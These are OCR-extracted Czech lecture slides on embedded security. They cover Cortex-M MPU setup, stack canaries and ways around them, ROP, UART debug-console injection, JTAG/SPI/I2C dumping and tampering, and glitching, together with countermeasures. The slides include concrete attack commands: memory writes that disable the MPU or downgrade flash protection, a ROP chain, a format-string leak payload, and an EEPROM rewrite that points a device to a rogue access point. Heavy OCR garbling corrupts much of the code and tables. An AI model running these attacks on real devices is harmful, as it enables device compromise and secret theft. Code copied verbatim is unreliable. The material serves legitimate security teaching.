void mpu_guard_stack(void) {
extern uint32_t _sstack; // Z linker scriptu

// Region 1: Guard page pod stackem — no access

MPU->RNR = 1;
MPU->RBAR = ((uint32_t)&_sstack - 256); // 256B pred stackem
MPU->RASR = (1 << 28) | // XN = 1 (no execute)

(0 << 24) | // AP = 000 (no access)

(7 << 1) | // SIZE = 256 B

(1 << 0); // ENABLE

// Pri stack overflow - MemManage fault

Bezpecnost: Detekce stack overflow chrani proti buffer overflow Gtokim
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Prakticky priklad: DMA buffer jako non-cacheable

// Buffer pro DMA v SRAM
uint8_t dma_buffer[4096] __ attribute__ ((aligned(4096)));

void mpu_config_dma_buffer(void) {
DMA buffer - non-cacheable, bufferable

// Region

2:

MPU->RNR = 2;

MPU->RBAR
MPU->RASR

Mikroprocesory 06/01/2026

(uint32_t)dma_buffer;

(1 << 28) | //
(3 << 24) | //
(1 << 19) | //
(0 << 18) | //
(0 << 17) | //
(0 << 16) | //
(0 << 8) | //
(11 << 1) | //
(1 << 0); //

XN = 1 (no execute)
AP = 011 (RW for all)
TEX 001

S
C
B =
SRD 0
SIZE = 4 KB
ENABLE

(non-cacheable)

oo ol
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Bezpecnostni pfiklad: Ochrana kryptografickych kli¢t

// Secure memory region pro klice (privileged only)
uint8_t secure_keys[256] __attribute__((aligned(256), section(".secure")));

void mpu_protect_keys(void) {

MPU->RNR = 3;

MPU->RBAR
MPU—>RASR
b
Bezpecnost:

(uint32_t)secure_keys;

(1
(1
(0
(0
(0
(0
(0
(7
(1

<<
<<
<<
<<
<<
<<
<<
<<
<<

28) |
24) |
19) |
18) |
17) |
16) |
8) |
1) |
0);

//
//
//
//
//
//
//
//
//

e Unprivileged kdéd nema pristup ke kli¢lm

(no execute, data only)

1
001 (RW privileged, no access unprivileged)

mo=2
i

0
0

(non-cacheable pro bezpecnost)

ool

0
SIZE = 256 B
ENABLE

e Non-cacheable = ochrana proti cache timing utokdm
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Memory fault handling

Pfi poruseni MPU pravidel nastava MemManage fault:

void MemManage_Handler(void) {
// Cteni fault status registru
uint32 t cfsr = SCB—>CFSR;
uint32_t mmfar = SCB->MMFAR; // Fault address (pokud MMARVALID=1)

if (cfsr & SCB_CFSR_MMARVALID Msk) {

// MMFAR obsahuje platnou adresu

printf("MPU fault at address: 0x%081x\n", mmfar);
}

if (cfsr & SCB_CFSR_DACCVIOL_Msk) {
printf("Data access violation\n");
}

if (cfsr & SCB_CFSR_IACCVIOL Msk) {
printf("Instruction access violation\n");
}

// Vymazat fault flags
SCB—>CFSR = cfsr;

// V produkci: log + reset, v debug: breakpoint
Mikroprocesory GKPT/R029

1
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CMSIS MPU API

CMSIS poskytuje pomocné funkce pro konfiguraci MPU:

// Makra pro region config

#define ARM_MPU_RBAR(Region, BaseAddress) \
(((BaseAddress) & MPU_RBAR_ADDR_Msk) | \
((Region) & MPU_RBAR_REGION_Msk) | \
(MPU_RBAR_VALID Msk))

#define ARM_MPU_RASR(DisableExec, AccessPermission, TypeExtField, \

IsShareable, IsCacheable, IsBufferable, \
SubRegionDisable, Size) \

(((DisableExec) << MPU_RASR_XN_Pos) | \

((AccessPermission) << MPU_RASR_AP_Pos) | \

((TypeExtField) << MPU_RASR_TEX_Pos) | \

((IsShareable) << MPU_RASR_S_Pos) | \

((IsCacheable) << MPU_RASR_C_Pos) | \

((IsBufferable) << MPU_RASR_B_Pos) | \

((SubRegionDisable) << MPU_RASR_SRD_Pos) | \

((Size) << MPU_RASR_SIZE_Pos) | \

(MPU_RASR_ENABLE_Msk) )
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Pouziti CMSIS MPU API

void configure_mpu_regions(void) {
// Disable MPU
ARM_MPU_Disable();

// Region 0@: Flash 512KB, RO, executable
ARM_MPU_SetRegion(

ARM_MPU_RBAR(0, 0x08000000),

ARM_MPU_RASR(®, ARM_MPU_AP_RO, 0, 0, 1, 0, 0, ARM_MPU_REGION_SIZE_512KB)
);

// Region 1: SRAM 128KB, RW, non-executable
ARM_MPU_SetRegion(

ARM_MPU_RBAR(1, 0x20000000),

ARM_MPU_RASR(1, ARM_MPU_AP_FULL, 1, ©, 1, 1, 0, ARM_MPU REGION_SIZE 128KB)
)3

// Region 2: Peripherals, Device memory
ARM_MPU_SetRegion (

ARM_MPU_RBAR(2, 0x40000000),

ARM_MPU_RASR(1, ARM_MPU_AP_FULL, @, 1, 0, 1, 0, ARM_MPU_REGION_SIZE_512MB)
);

// Enable MPU with default background region for privileged
ARM_MPU_Enable(MPU_CTRL_PRIVDEFENA_Msk) ;

__DSB();
__ISB();

l\/likropro}cesory 06/01/2026
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MPU v RTOS (FreeRTOS priklad)

// FreeRT0S s MPU support (MPU_WRAPPERS_INCLUDED_FROM_API_FILE)
TaskParameters_t task_params = {
.pvTaskCode = task_function,

.pcName = "UserTask",
.usStackDepth = 128,
. pvParameters = NULL,

.UuxPriority = 2,
.puxStackBuffer = task_stack,
.XRegions = {
// Region @: Task code (Flash)
{ .pvBaseAddress = task_code_start, .ulLengthInBytes = 4096,
.ulParameters = portMPU_REGION_READ_ONLY | portMPU_REGION_EXECUTE },

// Region 1: Task data (SRAM)
{ .pvBaseAddress = task_data, .ulLengthInBytes = 1024,
.ulParameters = portMPU_REGION_READ_WRITE },

// Region 2: Shared buffer
{ .pvBaseAddress = shared_buffer, .ulLengthInBytes = 512,
.ulParameters = portMPU_REGION_READ_WRITE }

xTaskCreateRestricted(&task_params, &task_handle);
Mikroprocesory 06/01/2026
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MPU a bezpecnost — shrnuti

MPU jako zaklad bezpecnosti:

1. 1zolace paméti — ochrana mezi procesy/tasky
2. W~X policy — write XOR execute (XN bit)

3. Privilege separation — kernel vs. user mode
4. Stack protection — guard pages

5. Key protection — secure memory regions
Limity MPU:

e Konecny pocet regiond (8-16)
e Pouze aligned power-of-2 velikosti

e Nenireplacement pro MMU (nema virtual memory)
Dalsi krok: ARM TrustZone (Cortex-M33+)

e Hardware isolation mezi Secure a Non-Secure world

, e Vice nei}'en MPU
Mikroprocesory 06/01/2026
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3. Utoky na embedded systémy
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Attack surface embedded zarizeni

Co muze uto¢nik kompromitovat?

Hardware urovn: Software urovné:
e JTAG/SWD - debug interface e Firmware — buffer overflow, injection
e UART/SPI/I?*C - sériové porty e Bootloader — bypassing secure boot
e Flash pamét - fyzicky dump e Protokoly — CAN, Modbus, MQTT
e Power/Clock — glitching e Update mechanismus — MITM, downgr
ade
Nastroje:

e | ogic analyzer (Saleae, DSLogic)
e JTAG debugger (J-Link, ST-Link)
e Software (Ghidra, binwalk, OpenOCD)
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Buffer Overflow - prehled

Detailni analyzu buffer overflow najdes v motivacnim prikladu:

e 4 IRQ Handler a zasobnik (ARM exception entry/exit)
Buffer overflow krok za krokem (4 kroky utoku)

Pro& neni ASLR na embedded

Jak CPU vykonava shellcode

Pro¢ je SRAM spustitelna (XN bit, MPU)

Techniky Utoku bez znalosti velikosti bufferu

. Shellcode priklady (vypnout MPU, dump flash, brick)

Zde se zamérime na ochranu:
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Stack Canary - ochrana proti overflow

Stack Canary = "hlidaci kanarek na zasobniku"
Princip:

* Inspirovano horniky, ktefi brali do dold kanarky jako detektory jedovatych plyn(
e Pokud kanarek zemrel = varovani, Zze je nebezpedi
e Stack canary = specialni hodnota umisténa mezi buffer a return address

e Pokud se canary zméni = detekce Utoku!

// Kompilace s —fstack-protector
void process_command(char xinput) {
char buffer([64];
strcpy(buffer, input); // Chranéno canary!
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// Generovany assembly (GCC):
process_command:
push {r4, r5, r6, 1r}

sub sp, sp, #72

mov rs5, ro

ldr r4, =__stack_chk_guard

udr rd, [r4]

str r4, [sp, #68] // Ulozit canary na stack
// ... funkce ...

ldr r3, [sp, #68] // Nacist canary

ldr r2, =__stack_chk_guard

udr r2, [r2]

cmp r3, r2 // Porovnat

bne __stack_chk_fail // Pokud se 1isi - Utok!
add sp, sp, #72

pop {r4, r5, r6, pc}

Ochrana: Pokud uto¢nik prepiSe canary = detekce
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Coje —fstack-protector ajak funguje?

GCC/Clang flag pro automatickou ochranu zasobniku

Bez -fstack-protector:

Stack layout:

Return address

Saved registers

buffer[63..0]

« Primy cil Gtoku!

« Overflow - prepise ret addr

Utoénik prepise buffer - prepise return address -

utok uspésny
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S -fstack-protector:

Stack layout:

Return address

Saved registers

CANARY =

buffer([63..0]

Pred navratem:

« Ndhodna hodnota!

- Overflow - prepise canary PRVNI!

1. CPU kontroluje, jestli canary je stale stejny

2.Pokud NE - __stack_chk_fail() - program

ukoncen

3. Utoénik NEMUZE prepsat return address bez

detekce
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Stack Canary - jak to funguje v assembleru?

Priklad ARM Thumb-2 kédu:

void vulnerable_function(char xinput) {
char buffer([64];
strcpy(buffer, input); // Chranéno canary

Kompilace BEZ —fstack-protector:

vulnerable_function:
push {r4, 1lr}

sub sp, sp, #64 ; Alokovat buffer

mov ri, ro ; rl = input

mov ra, sp ; rd = buffer

bl strcpy ; strcpy(buffer, input)

add sp, sp, #64 ; Uvolnit buffer

pop {r4, pc} ; Navrat (PC = return addr)
; 1 Zadna kontrola!

Pokud utocCnik prepsal return address - PC = UtoCnikova adresa = utok uspésny
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Stack Canary - kompilace s —fstack-protector

vulnerable_function:

push
sub

idr
ldr
str

’
mov
mov
bl

ldr
ldr
ldr
cmp
bne

add
pop

Pokud Utoénik prepsal buffer » canary zménén - __stack_chk_fail() -> program ukonéen PRED navratem

{r4, r5, lr}
sp, sp, #68
ULOZIT CANARY NA STACK ===
r4, =__stack_chk_guard
r4; [r4]
r4, [sp, #64]
VLASTNI KOD ===
rl, ro
rao, sp
strcpy
KONTROLA CANARY ===
r5, [sp, #64]
r3, =__stack_chk_guard
r3, [r3]
rs5, r3
__stack_chk_fail
NORMALNI NAVRAT ===
sp, sp, #68
{r4, r5, pc}
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; 64B buffer + 4B canary

; Nacti globalni canary

r4d = nadhodna hodnota

» Uloz na stack (nad buffer)

rl = input
roe = buffer

» strcpy(buffer, input)

; Nacti canary ze stacku
; Nacti originalni

; Porovnej!
; Pokud != - UTOK!
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Jak se generuje canary?
__stack_chk_guard = globalni proménna s nahodnou hodnotou
Inicializace pfi startu programu:

// V C runtime (crt@.S nebo __ libc_start_main)
void __stack_chk_guard_setup(void) {
// Varianta 1: Hardcoded (slabé!)
__stack_chk_guard = 0xDEADBEEF;

// Varianta 2: Z casovace (lepsi)
__stack_chk_guard = SysTick—>VAL;

// Varianta 3: Z TRNG (nejlepsi)
__stack_chk_guard = RNG—>DR; // True random
¥
// NV paméti:
uint32_t _ stack_chk_guard = @; // Inicializovano pri boot

Kli¢: Utoénik NEZNA hodnotu canary = nem(iZe ji prepsat spravnou hodnotou!
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__stack _chk _fail() - co se stane pfi utoku?

// Implementace v libgcc (GCC runtime)

void __ attribute_ ((noreturn)) _ stack chk fail(void) {
// 1. Vypsat chybovou hldsku (pokud je UART dostupny)
printf("s*xx stack smashing detected *xx: terminated\n");

// 2. Logovat Utok (pokud mame filesystem)
log_security_event("Stack overflow detected");

// 3. Vymazat citliva data
memset(secret_keys, 0, sizeof(secret_keys));

// 4. UkoncCit program / reset zarizeni
#ifdef DEBUG

__BKPT(@); // Breakpoint pro debugger
#else

NVIC_SystemReset(); // Reset MCU
#endif

// Nikdy se sem nedostaneme
while(1);

V embedded: Casto prosté reset, protoZze nemame OS k ukonéeni procesu.
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Varianty -fstack-protector

Flag Popis Kdy se canary prida?
—-fno-stack-protector Vypnuto Nikdy
—-fstack-protector Zakladni Funkce s char[] buffery nebo alloca()

-fstack-protector-strong Doporuéeno  + funkce s lokalnimi arrays, pointery, referencemi

—fstack-protector-all Maximalni Vsechny funkce (velky overhead!)

Priklad pouziti v Makefile:

# Embedded projekt (STM32)
CFLAGS += -fstack-protector-strong # Doporuceno
CFLAGS += -D_FORTIFY_SOURCE=2 # Bounds checking pro strcpy/memcpy

# Custom __stack_chk_guard init (v startup.c)
# void SystemInit(void) {

# RNG_Init();

# __stack_chk_guard = RNG_Get(); // Random canary
# 3}
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Overhead —-fstack-protector

Cena za bezpec€nost:

Pamét (RAM):

e +4 bajty na stack pro kazdou chranénou funkci

e +4 bajty globalni __stack_chk_guard

Flash (kéd):
e +8-12 bajtli kédu na funkci (load/check canary)
e +~100 bajtti pro __stack_chk_fail()

CPU ¢as:

e +2-3instrukce pfi vstupu do funkce

e +3-4 instrukce pfi vystupu

Doporuceni: Vzdy pouzit —fstack-protector-strong
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Benchmark (STM32F4):
Funkce Bez canary S canary Rozdil
process_packet() 120 cykld 128 cykld +6.7%
parse_json() 5400 cyklu 5420 cykld  +0.4%

Zavér: Overhead je minimalni pro vétSinu embedded
aplikaci!

v produkci!
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Jak utoénik muze obejit stack canary?

Canary neni neprustielny!

1. Canary leak (format string):

// Zranitelnost
printf(user_input); // Format string bug

// Utok

payload = "%137%$lx" # Leak canary ze stacku
> Uto¢nik ZJISTI hodnotu canary

- Prepise buffer + canary SPRAVNOU hodnotou
-» Utok Uspésny!

3. Brute-force (32-bit canary):

e 2732 moznosti - na PC ~par hodin

e Na embedded s resetem - neproveditelné
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2. Neprimy overflow (preskoc¢eni canary):

// Pokud Uto¢nik mlZe prepsat JINY pointer
char xptr = malloc(64);
char buffer([64]; // Chranéno canary

// Utok: Prepi$ ptr misto bufferu
- strcpy(ptr, evil_payload);
- Canary nedotlen - z4adnd detekce!
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Return-Oriented Programming (ROP)
Problém: W”X (DEP) zabranuje spusténi kddu ze stacku
Reseni Gtoénika: ZnovupouZit existujici kod v paméti!
Princip:

Stack po overflow:

buffer

gadgetl_addr| < return address

gadget2_addr

gadget3_addr

Gadget = kratky usek kédu koncici RET
Napr.: pop {r@}; ret

add rl1, r2; ret

str ro, [rl]; ret

vikroMteks Retézime gadgety k provedeni libovolné operace
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ROP - prakticky priklad

// Chceme zavolat: disable_mpu()
// Ale nemlzZeme spustit vlastni kéd (DEP aktivni)

// Gadgety v bindrce (naSli jsme pomoci ropper):
0x08001234: pop {r0}; bx 1lr

0x08001568: ldr rl1,
0x080019ac: blx ri;

// ROP chain:

[ro]l; bx 1lr
bx 1lr

uint32_t rop_chain[] = {

0x08001234, //
OxXEQOQED94, //
0x08001568, //
0x08001234, //
0x00000000, //
. 0x080012f8, //

pop {r@}; bx 1r

adresa MPU->CTRL

ldr r1, [r@]; bx lr (rl = MPU->CTRL)
pop {r@}; bx 1r

hodnota @ (disable MPU)

str r@, [rl]; bx 1r (MPU->CTRL = 0)

// Overflow a prepsani return address:

memcpy (buffer + 64,

rop_chain, sizeof(rop_chain));

Vysledek: MPU vypnuto, Utoénik ma plny pristup k paméti!
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Command Injection - UART konzole

Debug konzole na UART/USB jsou VELMI obvyklé v embedded systémech:

Béhem vyvoje Kde se s tim setkas

e “\ Debugging - &teni registrll, dump paméti, kontrola e % Routery, modemy - AT piikazy, debug shell

stavu e 2 loT zafizeni - smart home, kamery, termostaty
° Testovani - factory testing, kalibrace senzor * @a Primyslové systémy - PLC, SCADA, medical
e ul Diagnostika - field diagnostics, remote devices

troubleshooting e & Automotive - OBD-Il diagnostika, infotainment

Problém: Casto se zapomenou zapnout i v produkci!

Typické prikazy:

> status

> read <addr>

> write <addr> <value>
> reset

> flash_erase
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Command Injection - Zranitelna implementace
Typicky zranitelny kod (bez jakékoliv ochrany!):

void shell_command(char xcmd) {
if (strncmp(cmd, "read ", 5) == 0) {
uint32_t addr = strtoul(cmd + 5, NULL, 16);
uint32_t value = x(volatile uint32_tx)addr;
printf("0x%08x: 0x%08x\n", addr, value);

}

else if (strncmp(cmd, "write ", 6) == 0) {
char *space = strchr(cmd + 6, ' ');
uint32_t addr = strtoul(cmd + 6, NULL, 16);
uint32_t value = strtoul(space + 1, NULL, 16);
x(volatile uint32_tx)addr = value; // UNSAFE!
printf("Written 0x%08x to 0x%08x\n'", value, addr);

}

}
Problémy:

o X Zadna autentizace - kdokoliv s pfistupem k UART mUze psat ptikazy
e X Neomezeny pristup - mizes Cist/psat LIBOVOLNOU adresu
MikroprotesXZadny whitelist - m(ize$ zapsat do kritickych registrd (Flash, MPU, AIRCR)
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Command Injection - Praktické utoky

Exploit #1: Reset zarizeni

> write EQQQEDOC 05FA0004  # SCB->AIRCR = SYSRESETREQ

Exploit #2: Prepis Flash (pokud RDP=0)

> write 08000000 DEADBEEF # Modifikace firmware
» Firmware modifikovan! - Po restartu zarizeni spusti backdoor

Exploit #3: Vypnuti MPU

> write E0QQOED94 00000000 # MPU->CTRL = @
- MPU vypnuto! - Utocnik mize spustit shellcode na stacku

Exploit #4: Zména RDP (pokud neni Level 2)

> write 40023C14 0000AA00 # FLASH_OPTCR: RDP=0xAA (Level 0)
> write EQQOEDOC O5FAQ004  # Reset
- RDP vypnuto, Flash cCitelna!
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Realné priklady

1. D-Link routery (CVE-2019-XXXX) 3. Medical devices

e Debug konzole na UART

e Prikaz: flash write <addr> <data> bez

e Debug konzole pro "field service"

, o Utocnik mdze ménit kalibraéni parametry
autentizace
. , ) e FDA varovani: "disable debug ports in production!"
e UtocCnik prepsal firmware = trvany backdoor

) . 4. Smart home hub
2. loT kamery (mnoho vyrobcu)

$ screen /dev/ttyUSBO 115200
> help

e Pouzito botnety (Mirai) pro kompromitaci Available commands:
read, write, dump, flash_erase, reboot
> write 08000000 DEADCODE

Flash modified!

e Telnet shell s pfikazy devmem read/write
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Jak spravné implementovat debug konzoli

1. Autentizace

bool authenticated = false;

void shell_command(char xcmd) {
if (lauthenticated) {
if (strncmp(cmd, "login ", 6) == 0) {

char *password = cmd + 6;

if (verify_password(password)) {
authenticated = true;
printf("Login successful\n");

T else {
printf("Access denied\n");

}

} else {
printf("Please login first\n");
¥

return;

}
// Zbytek prikazi...
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2. Whitelist adres

bool is_safe_address(uint32_t addr) {
// Povolené oblasti
if (addr >= 0x20000000 && addr < 0x20020000) return true; // SRAM
if (addr >= 0x40000000 && addr < 0x40008000) return true; // Peripherals

// Zakdzané oblasti
if (addr >= 0x08000000 && addr < 0x08100000) return false; // Flash — READ ONLY!
if (addr >= OXEQQQEQ00 && addr < OxEQQOFQ0Q) return false; // SCB, MPU - FORBIDDEN!

return false;

}

void shell write(uint32_t addr, uint32_t value) {
if ('is_safe_address(addr)) {
printf("Access denied: 0x%08x\n", addr);
return;

by

*x(volatile uint32_tx)addr = value;

Mikroprocesory 06/01/2026



3. Omezené prikazy (whitelist)

void shell_command(char xcmd) {
// Jen bezpecné prikazy
if (strcmp(cmd, "status") == 0) {
print_status();

¥

else if (strcmp(cmd, "version") == 0) {
print_version();

¥

else if (strncmp(cmd, "led ", 4) == 0) {
// Specificky hardware command
set_led(atoi(cmd + 4));

Iy
else {

printf("Unknown command\n");
Iy

// ZADNE obecné read/write prikazy!
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4. Kompletné vypnout v produkci

void main(void) {
#ifdef DEBUG_BUILD

init_uart_shell(); // Jen v DEBUG buildu
#endif

// Nebo runtime check:

if (is_debug_enabled()) { // Option byte / GPIO jumper
init_uart_shell();
}

Mikroprocesory 06/01/2026
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5. Challenge-response autentizace

void shell_login(void) {
uint32_t challenge = RNG—>DR; // Random challenge
printf("Challenge: %08x\n", challenge);

char response[64];
read_line(response, sizeof(response));

// Expected: HMAC-SHA256(challenge, secret_key)
uint8_t expected[32];
hmac_sha256(&challenge, 4, secret_key, 32, expected);

if (memcmp(response, expected, 32) == 0) {
authenticated = true;
}
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4. Hardware Pentesting
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JTAG/SWD Debug Port
Serial Wire Debug (SWD) - 2-wire debug interface na ARM Cortex-M

Piny:
e SWDIO - Data l/O
e SWCLK - Clock

e SWO - Trace output (volitelny)
e NRST - Reset
// Typicka konfigurace STM32

// SWDIO = PA13
// SWCLK = PA14

// Pokud je SWD nezabezpeceno:
// - Utocnik mize:

// - Cist/modifikovat RAM

// - Cist Flash (pokud RDP=0)
// - Provést firmware dump
// - Nahrat vlastni koéd
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JTAG - prakticky utok

Nastroje:

e OpenOCD - open-source debugger
e J-Link - komercni (Segger)
e ST-Link - STM32 (ST Microelectronics)

# OpenOCD pripojeni
openocd —-f interface/stlink.cfg —-f target/stm32f4x.cfg

# Telnet konzole
telnet localhost 4444

# Prikazy:

> halt # Zastavit CPU

> mdw 0x20000000 64 # Dump RAM

> mww OXEQOOEDOC 0x05FAQ004 # Reset

> flash read_bank @ dump.bin 0 0x80000 # Dump Flash
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I°C/SPI Sniffing a Injection

Proc¢ utocnici cili na I?*C/SPI sbérnice?
Embedded systémy ¢asto pouzivaji externi Cipy pro:

o [ 12C EEPROM - konfigurace, kalibrace, licenéni kli¢e
¥ SPI Flash - firmware, bootloader, filesystem

/ Secure elements - crypto klice (ATECC608, TPM)

") RTC - real-time clock s baterii

ul Senzory - teplota, tlak, akcelerometry
Problém:

o X I2C/SPI nejsou Sifrované - data jdou v plain textu
o X Zadna autentizace - kdokoliv m(iZe &ist/psat

o X Fyzicky pfistupné - piny jsou na PCB
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I°C/SPI - Fyzicky pristup

Jak utocnik postupuje:

1. Otevrit zafizeni
2. Najit I?*C/SPI Cipy

o Najit oznaceni: 24C64 (EEPROM), wW25Q128 (SPI Flash)

3. Identifikovat piny

I°C piny (4 vodice)

EEPROM (8-pin SOIC):

1: A0 VCC: 8
2: Al WP : 7
3: A2 SCL: 6
4: GND SDA: 5

« Write Protect (c¢asto na GND)
« Clock
< Data

4. Pripojit Bus Pirate [ Logic Analyzer
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SPI Flash piny (8-pin SOIC)

Flash (W25Q128):

S WN -

: /CS
: DO

: /WP
: GND

VCC: 8
/HOLD:7
CLK: 6
DI : 5

« Clock
« Data In
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I°C EEPROM - Prakticky dump

Hardware:

e Bus Pirate (~$30) - univerzalni interface
e FT232H (~$15) - USB to I>)C/SPI, CH341A (~$5) - SPI programmer (levny)

Software dump - I°C EEPROM, pomoci FT232H

from pyftdi.i2c import I2cController

# Uloz
i2c = I2cController() open('eeprom_dump.bin', 'wb').write(dump)
i2c.configure('ftdi://ftdi:232h/1") ,
# Analyza
# EEPROM na 0x50 (typickd adresa AT24(C256) import binascii
eeprom = i2c.get_port(0x50) print(binascii.hexdump(dump[:256]))

# Dump celého obsahu (32 KB)
dump = bytearray()
for addr in range(@, 32768, 64):

chunk = eeprom.read_from(addr, 64) 00000000: 57 69 46 69 3A 20 53 53 49 44 3D 4D 79 4E 65 74 WiFi: SSID=MyNet
dump.extend(chunk) 00000010: 77 6F 72 6B 2C 50 53 4B 3D 50 61 73 73 77 30 72 work,PSK=Passwor

. - 00000020: 64 31 32 33 34 00 00 00 00 00 00 00 00 00 00 00 d1234.....00uuus
print(f"Reading: {addr}/{32768}")

Co muzes najit:

WiFi heslo v plain textu!
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SPI Flash - Prakticky dump
SPI Flash dump pomoci flashrom:

# Pripoj FT232H nebo CH341A

# Detekce cipu
flashrom —p linux_spi:dev=/dev/spidev@.0,spispeed=1000

# Vystup:
# Found Winbond flash chip "W25Q128.V" (16384 kB, SPI)

# Dump celé Flash (16 MB)
flashrom —p linux_spi:dev=/dev/spidev0.0,spispeed=1000 —-r firmware.bin

# Analyza struktury
binwalk firmware.bin
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Binwalk vystup:

DECIMAL HEXADECIMAL

0 0x0

8192 0x2000

16384 0x4000

524288 0x80000
Extrakce:

# Extrahuj filesystem
binwalk —e firmware.bin

# Hledej zajimavé stringy

DESCRIPTION

ARM executable, little endian
Certificate in DER format (X.509)
LZMA compressed data

Squashfs filesystem

strings firmware.bin | grep —-i "password\ |key\ |secret\ |api"

Typické nalezy:

admin_password=defaultl123
api_key=sk_1live_51H...

ssh_private_key=————— BEGIN RSA PRIVATE KEY————-
AWS_SECRET_ACCESS_KEY=wJalrXutn...
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I°C/SPI Injection - Modifikace dat

Utok #1: Zména konfigurace v EEPROM

# Zmén WiFi SSID/heslo
eeprom = i2c.get_port(0x50)

# Nova konfigurace
new_config = b'WiFi: SSID=EvilAP,PSK=hacked123\x00'

# ZapiS na offset 0x0000
eeprom.write_to(0x0000, new_config)

# Restart zarizeni - pripoji se na utocnikovu AP!
Utok #2: Backdoor ve firmware (SPI Flash)

# 1. Dump firmware
flashrom —-r original.bin

# 2. Modifikuj (pridej backdoor)
# ... editace binarky ...

# 3. Zapis zpét
Mikroprdckashresjomwomedified.bin

v /7 f T Y - "L
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Ochrana proti I°C/SPI utokiim

1. Sifrovani dat v EEPROM/Flash

// Uloz konfiguraci Sifrované

void save_config(const config_t *cfg) {
uint8_t encrypted[256];
aes_encrypt(cfg, sizeof(config_t), encryption_key, encrypted);
eeprom_write(0x0000, encrypted, 256);

¥

void load_config(config_t *cfg) {
uint8_t encrypted[256];
eeprom_read(0x0000, encrypted, 256);
aes_decrypt(encrypted, 256, encryption_key, cfg);
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2. Signed firmware (SPI Flash)

// Pred boot zkontroluj podpis

bool verify_firmware(void) {
uint8_t firmware[1024%1024];
uint8_t signature[256];

spi_flash_read(0x000000, firmware, sizeof(firmware));
spi_flash_read(0x100000, signature, sizeof(signature));

return rsa_verify(firmware, sizeof(firmware), signature, public_key);

}

void bootloader(void) {
if ('verify_firmware()) {
printf("Firmware signature invalid!\n");
while(1); // Halt
Iy

jump_to_application();
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3. Secure Boot Ch

ROM
(verify BL)

l .
I verified

Bootloader
(verify FW)

I
I verified

Firmware
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ain

« Immutable, contains public key

« Signed by manufacturer

« Signed by manufacturer

4. Tamper detection

// Detekce fyzického otevreni
void check_tamper(void) {
if (GPIO_ReadPin(TAMPER SWITCH_PIN) == LOW) {
// Kryt byl otevren!
erase_secrets();
flash_erase_all();
while(1); // Brick device

5. Epoxy coating
Fyzicka ochrana:

o Zalij Cipy epoxidem - tézsi desolder
e Pouzij BGA Cipy misto SOIC - nelze jednoduse
odpojit

e Multi-layer PCB - téZSi trace

Nevyhoda: Drazsi vyroba, nemozné opravy
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Flash Readout Protection (RDP)

Cotoje?

e Hardwarovy ochranny mechanismus v STM32 mikrokontrolérech
e Brani neopravnénému ¢teni obsahu Flash paméti pres JTAG/SWD debugger

e Implementovano pomoci Option Bytes (specialni konfigurace v Flash)
K ¢emu je to dobré?

. Ochrana dusevniho vlastnictvi - konkurence nemUze "reverse-engineerovat" firmware
e (¥ Ochrana tajnych kliét - Utoénik nemdzZe extrahovat crypto kli¢e, API tokeny, hesla
o W Prevence klonovani - zabrani§ kopirovani firmware do jinych zafizeni

e O Ochrana pred debug utoky - Utoénik nemdze &ist ani modifikovat Flash pfes debugger

Mikroprocesory 06/01/2026

97



STM32 ochrana - 3 Urovné:

Level Popis JTAG/SWD Flash read
Level 0 No protection PIny pfistup Ano
Level1  Memory protected Debug OK, Flash NO Ne

Level 2 Chip protected Debug disabled Ne

// Nastaveni RDP (JEDNOU!)

void set_rdp_level 2(void) {
FLASH_OBProgramInitTypeDef ob;
HAL_FLASHEx_OBGetConfig(&ob);

ob.RDPLevel = OB_RDP_LEVEL_2; // NEZVRATNE!

HAL_FLASH Unlock();
HAL_FLASH_OB_Unlock();
HAL_FLASHEx_OBProgram(&ob) ;
HAL_FLASH_OB_Launch(); // Reset

POZOR: RDP Level 2 je PERMANENT - pfi pokusu o downgrade - chip se vymaze!
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Glitching Attacks

Utoénik kratkodobé porusi korektni ginnost (fault injection attack) systému (CPU/pamét/periferii) tak, aby:

. se zménilo chovani programu (napf. preskoceni instrukce)
e 1 doslo k chybnému vyhodnoceni podminky

. byl obejit bezpecnostni mechanismus (RDP, secure boot, autentizace)

NENI to exploit softwarové chyby, JE to vyvolani fyzikalni chyby béhem exekuce.

Rozdil od buffer overflow Utoénik musi

Buffer Overflow Glitching 1. Znat kod cile (idealné disassembly firmware)

o aby veédeél KDE je kriticka instrukce
Softwarova chyba (Spatny kbd)  Hardwarova manipulace

2. Mit trigger - GPIO pin, UART log, power spike
o aby veédeél KDY presneé spustit glitch
3. Védét co hledat
o jaka odpovéd = uspéch (napr. "Access granted"

Exploit zranitelnosti Fyzicka interference

Muzes opravit patchem MusiS zmenit hardware

vs "Access denied")
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Z3akladni kategorie glitchingu

B) Kratky pokles nebo $pi¢ka napajeciho napéti
e Typicky ns—us

e Zasahuje: CPU pipeling, Flash | SRAM access
o Periferni logiku

Normal VDD:
3.3V

Voltage glitch:

3.3V — |

<1 ps

EJ Lokalni elektromagneticky impuls

. Velmi presné (instrukce-level)
e 5 Drazsivybaveni

o @ Mensi zasah do okolnich ¢asti &ipu
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F3 Manipulace s hodinovym signalem

e Zkraceni/prodlouzeni jedné periody
e Vlozeni extra pulzu

e \ynechani pulzu

Castéjsi u MCU s externim clockem, ale i STM32 Ize
napadnout pres HSE.

Normal CLK:
| L L L

Clock glitch (extra pulse):

)

0
Extra!

100



Co se redalné rozbije uvnitf MCU?

Cortex-M pipeline (zjednodusSené):

Fetch - Decode - Execute - Writeback

Glitch mliZe zpusobit:

Faze Chyba Disledek

Fetch Chybny fetch instrukce z flash ~ CPU nacte "Sum" misto instrukce
Decode Nespravny decode Instrukce CMP se dekdduje jako NOP
Execute Vynechani instrukce Instrukce se neprovede vibec

Writeback  Nespravné vyhodnoceni vétve  Skok se provede i kdyz by nemél

I Kritické:

e Cortex-M nema ochranu proti single-event faultim jako velké CPU
Mikroprogeqgeni BEE’A4instruction fetch (na rozdil od ARM Cortex-A)
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Typické cile glitchingu

i Pieskoéeni podminky

» Normalné:

bl password_ok
Ukazkovy kod:
; Je ro == 07?
cmp ro, #0
if (password_ok) {
unlock(); ; Pokud ano - preskoc
I beq skip_unlock

;» Jinak - odemkni

Glitch mUize zpusobit: bl unlock
skip_unlock:

e X Vynechani if : Po glitchi b&hem CMP:

e X Zménu vysledku porovnani bl password_ok
o unlock() se provede vzdy! i « GLITCH! Instrukce se presko¢i
cmp ro, #o0

; Flag Z neni nastaven - branch se neprovede
beq skip_unlock

; < VZDY se vykond!
bl unlock
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F1 Obejit RDP (Readout Protection)
STM32 RDP urovné:

* RDP Level O - zadna ochrana
e RDP Level 1 - blokovany debug + flash read

e RDP Level 2 - trvalé uzamceni
Cile utoku:

1. Glitch béhem kontroly RDP stavu
2. Glitch pfi obsluze debug requestu
